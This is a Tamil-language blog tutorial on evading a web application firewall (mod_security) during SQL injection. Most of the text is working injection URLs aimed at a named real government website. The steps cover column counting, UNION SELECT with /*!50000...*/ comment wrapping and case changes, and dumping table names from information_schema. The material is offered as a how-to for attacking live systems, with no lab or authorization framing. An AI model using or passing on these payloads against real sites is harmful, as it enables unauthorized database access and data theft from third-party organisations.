Sql Injection WAF(Web Application Firewall )Bypass செய்வது எப்படி?

நீங்கள் SQL Injection-செய்யும் போது  சில WEBSITE-கள் 403 Not Acceptable   போன்ற Warning-களை காட்டுகிறதா??இதற்கு காரணம் அந்த website-ல் உள்ள Firewall தான் காரணம்.

இதை WEB APPLICATION FIREWALL அதாவது WAF என்று சுருக்கமாக சொல்லப்படும்.இதன் வேலை Malicious statement-ஐ தடுப்பது தான் Malicious Statement என்று சொல்லப்படுவது UNION+ALL+SELECT,@@VERSION<CONCAT(TABLE_NAME) போன்ற SQL Injection Commands ஆகும்.FireWall Case sensitive கொண்டது. நாம் இந்த பதிவில் WAF-ஐ Bypass செய்வது எப்படி என்று பார்க்கலாம்.
   நான் இப்போது http://www.multan.gov.pk/files.php?id=1 இந்த Site-ஐ எடுத்துள்ளேன். இந்த Site-ல் SQLI VULN உள்ளது.
           

http://www.multan.gov.pk/files.php?id=1+order+by+2--  No error,அப்படியானால் ,இந்த Site-ல் 2 Columns உள்ளது. சரி Vulnerable Column-ஐ கண்டறிவோம்.

http://www.multan.gov.pk/files.php?id=-1+UNION+ALL+SELECT+1,2--+ என்று Command-ஐ கொடுக்கும் போது
                             Not Acceptable!

                  An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security. என்ற Warning  நமக்கு காட்டுகிறது.


இதை நாம் Bypass செய்ய  UNION+ALL+SELECT ,Command-ஐ Select செய்து Hack Bar-ல் WAF BYPASS Click செய்து ஏதேனும் ஒரு String ஆக Convert செய்து கொள்ளவும்.
UNION+ALL+SELECT   String ஆக Convert செய்த பிறகு  /*!50000UNION+ALL+SELECT*/ . இப்பொது நாம் இந்த Command-ஐ Execute செய்யலாம்.
 http://www.multan.gov.pk/files.php?id=-1+/*!50000UNION+ALL+SELECT*/+1,2--+ ,Normal-ஆக Site Load ஆகும்.Vulnerable Column 2 என காட்டும்.

இப்பொது VERSION-ஐ பார்க்கலாம்   http://www.multan.gov.pk/files.php?id=-1+/*!50000UNION+ALL+SELECT*/+1,@@version--+.

அடுத்ததாக Site-ல் உள்ள Tabels களை பார்க்கலாம். Tabels பார்பது எப்படி என்று உங்களுக்கு தெரியும் நம்புகிறேன் ,தெரியவில்லைஇங்கு சென்று படிக்கவும்.  
மறுபடியும் Not Acceptable  Error வருகிறது, இதை bypass செய்ய 
  group_concat(table_name)+from+information_schema.tables+where+table_schema=database()- Command-ஐ
WAF BYPASS String ஆக Convert செய்து  Execute செய்யலாம்
குறிப்பு ஒவ்வோரு Command-ஐயும்  WAF BYPASS String ஆக Convert செய்ய வேண்டும்.

Convert-க்கு முன்               Convert-க்கு பின்    
 group_concat(table_name)         /*!50000group_concat(table_name)*/
 from                           /*!50000from*/
information_schema               /*!50000information_schema*/
 tables                        /*!50000tables*/ 
where                         /*!50000where*/
table_schema                    /*!50000table*/_schema
database                      /*!50000database()*/


நீங்கள் இதை பார்த்த உடனே புரிந்திருக்கும்  அதாவது Command-க்கு முன்னாலும் பின்னாலும் சில மாற்றங்கள் செய்யப்பட்டிருக்கும்
./*!5000 COMMANDS*/


இப்போது Execute செய்து பார்த்தாலும் Not Acceptable காரணம் நாம் கொடுத்த Commands எல்லாம் Lower Case –ல் உள்ளது(small letter).
 Small letter- work செய்யவில்லை என்றால் Caps Letter use செய்யவும்.
இதை இப்பொது Bypass செய்ய group_concat(table_name)+from+information_schema.tables+where+table_schema=database()--+ ஆகிய Commans-ஐ Uper case-(caps letter)-ல் மாற்றவும்.
 இப்பொது இதை GROUP_CONCAT(TABLE_NAME) ,FROM+INFORMATION_SCHEMA.TABLES_WHERE+TABLE_SCHEMA=DATABASE()--+ஒவ்வோரு Command-ஐயும்  WAF BYPASS String ஆக Convert செய்யவும்.


இம்முறையை பயன்படுத்தி நீங்கள் Tables-ல் உள்ள Columns-ஐ எடுது கொள்ளலாம்.
Firewall Case sensitive உடையது ,ஆகவே Case களை மாற்றுவதன் மூலம் Firewall-ஐ BYPASS செய்ய முடியும்.
       


அவ்வளவுதான் இப்படிதான் WAF-ஐ BYPASS செய்ய வேண்டும்
                    
                            WATCH VIDEO
                                

No comments